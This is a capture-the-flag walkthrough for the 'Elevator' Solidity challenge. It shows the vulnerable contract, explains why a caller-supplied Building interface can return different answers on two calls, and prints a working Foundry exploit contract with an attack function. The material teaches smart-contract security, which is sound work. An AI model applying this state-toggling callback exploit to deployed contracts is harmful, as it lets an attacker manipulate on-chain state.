Level 11 - Elevator ⏺⏺
Level Setup
Level Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
Exploit
top
must first return false
when called, then true
the next time. The interface for Building
is set to msg.sender
.
Create a contract that exploits this by implementing a function
isLastFloor
that setstop
totrue
.
make anvil-exploit-level-11
<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
// ================================================================
// │ LEVEL 11 - ELEVATOR │
// ================================================================
interface IElevator {
function goTo(uint256 _floor) external;
}
contract Building {
IElevator targetContract;
bool public last = true;
constructor(address _targetContractAddress) payable {
targetContract = IElevator(_targetContractAddress);
}
function isLastFloor(uint256 _floor) public returns (bool) {
if (_floor > 0) {
last = !last;
return last;
} else {
revert("Invalid floor");
}
}
function attack() public {
targetContract.goTo(1);
}
}
Submit instance... 🥳
Completion Message
Notes
The function
isLastFloor
is called twice, with the returned value changing for the same input as the state is changed.If the
isLastFloor
had been restricted to view, then this attack wouldn't be possible (unless it was calling a library, which doesn't have runtime checks to make sure it doesn't modify the state when it says it's view)
Last updated